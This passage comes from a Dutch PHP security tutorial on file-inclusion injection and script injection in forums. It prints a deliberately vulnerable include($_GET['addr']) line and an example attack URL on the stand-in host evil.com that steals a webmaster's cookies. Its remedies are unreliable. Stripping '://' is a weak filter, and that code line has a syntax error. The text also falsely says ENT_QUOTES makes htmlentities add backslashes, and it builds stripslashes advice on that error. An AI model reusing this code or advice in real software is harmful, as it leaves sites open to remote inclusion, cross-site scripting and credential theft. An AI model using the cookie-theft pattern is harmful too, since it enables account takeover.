Include-injection en Page-changing
Include-injectionDit is misschien wel de meest vergeten fout. Terwijl het toch echt de gevaarlijkste kan zijn. Zie bijvoorbeeld dit script:
PHP Code
1 | <?PHP include($_GET['addr']); ?> |
Dit script zou deel kunnen zijn van een pagina-systeem dat pagina’s moet weergeven. Maar als je nou bij $_GET[‘addr’] http://www.evil.com/sendcookie.php invult, en een leuk mailtje zend naar de webmaster, dan kan evil.com alles met de cookies enzo doen van de webmaster en dus ook de logininformatie van de adminpagina krijgen.
Oplossen is nu nog makkelijk. Verwijder :// van elke binnenkomende $_GET[‘addr’].
PHP Code
1 | <?PHP include(str_replace("://", "", $_GET['addr']); ?> |
http://www.evil.com/*.* wordt nu veilig gemaakt, maar ook Shttp://www.evil.com/*.*.
Page-changing
Deze is misschien wat minder onveilig, maar zeker vervelend.
Als je een pagina hebt waar je strings kunt posten, bijvoorbeeld shoutboxen of forums, kunnen hackers zonder beveiliging ook html, javascript en andere vervelende dingen uitvoeren.
Simpele hack, maar wat moeilijker op te lossen: Hoe maak je elk bericht veilig, maar toch tot de schaal dat normale berichten niet aangepast worden? De tekst tot 4 tekens inkorten is fataal voor je forum

Een andere oplossing is om html enzo te negeren: gebruik htmlentities() en urlencode() om je berichteninvoer heen.
Bijvoorbeeld:
PHP Code
1 | <?PHP $aanDBtoevoegen=urlencode(htmlentities($_POST['bericht'], ENT_QUOTES)); ?> |
PHP’ers die goed hebben opgelet, zien dat ik ENT_QUOTES in htmlentities aan zet. Dit houdt in dat quotes worden ge-escaped (er komt een backslash voor).
Vlak voordat je het bericht op de pagina zet, kun je stripslashes() gebruiken om de slashes om een bericht weer quote-vrij te maken. Waarom ik het bericht na de invoer escape, leg ik uit op de volgende pagina.